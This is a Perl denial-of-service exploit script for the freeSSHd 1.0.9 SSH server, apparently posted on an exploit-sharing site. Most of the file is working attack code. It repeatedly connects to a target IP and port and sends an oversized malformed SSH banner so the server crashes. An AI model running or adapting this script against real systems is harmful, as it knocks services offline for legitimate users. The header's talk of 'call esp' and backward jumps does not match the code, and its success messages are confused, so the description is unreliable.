freeSSHd 1.0.9 Denial Of Service Exploit

#!/usr/bin/perl
 
use IO::Socket;
 
# Exploit Title: freeSSHd 1.0.9 - Denial of Service (DoS)
# Discovery by: Fernando Mengali
# Discovery Date: 13 january 2024
# Vendor Homepage:  N/A
# Download to demo:
# Notification vendor: No reported
# Tested Version: freeSSHd 1.0.9 - Denial of Service (DoS)
# Tested on: Window XP Professional - Service Pack 2 and 3 - English
# Vulnerability Type: Denial of Service (DoS)
# Vídeo:
 
#1. Description
 
#His technique works fine against Windows XP Professional Service Pack 2 and 3 (English).
#For this exploit I have tried several strategies to increase reliability and performance:
#Jump to a static 'call esp'
#Backwards jump to code a known distance from the stack pointer.
#The SSH does not correctly handle the amount of data or bytes sent.
#When authenticating to the SSH with a large number of characters for the server to process, the server will crash as soon as it is received and processed, causing Denial of service conditions.
#Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users.
 
#2. Proof of Concept - PoC
 
    $sis="$^O";
 
    if ($sis eq "windows"){
      $cmd="cls";
    } else {
      $cmd="clear";
    }
 
    system("$cmd");
    
    intro();
    main();
    
    print "[+] Exploiting... \n";
 
my $bufff =
  "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"x18;
 
 
    my $payload =
      "\x53\x53\x48\x2d\x31\x2e\x39\x39\x2d\x4f\x70\x65\x6e\x53\x53\x48" .
      "\x5f\x33\x2e\x34\x0a\x00\x00\x4f\x04\x05\x14\x00\x00\x00\x00\x00" .
      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x07\xde".("A" x 1067);
 
    $payload .= $payload;
    $payload .= "C" x 19021 . "\r\n";
 
my $i=0;
while ($i<=18) {
    my $sock = IO::Socket::INET->new(
        PeerAddr => $ip,
        PeerPort => $port,
        Proto    => 'tcp'
    ) or die "Cannot connect!\n";
 
    if (<$sock> eq '') {
    print "[+] Done - Exploited success!!!!!\n\n";
    exit;
    }
 
    $sock->send($payload) or die "Exploited successuful!!!";
 
$i++;
}
 
 
 
  
   sub intro {
      print q {
 
 
                            _/|     
                           // o\   
                           || ._) 
                           //__\   
                           )___(   
 
      [+] freeSSHd 1.0.9 - Denied of Service (DoS)
 
      [*] Coded by Fernando Mengali
 
      [@] e-mail: [email protected]
 
      }
  }
 
  sub main {
 
our ($ip, $port) = @ARGV;
 
      unless (defined($ip) && defined($port)) {
 
        print "       \nUsage: $0 <ip> <port>                 \n";
        exit(-1);
 
      }
  }
 
#  0day.today [2024-02-15]  #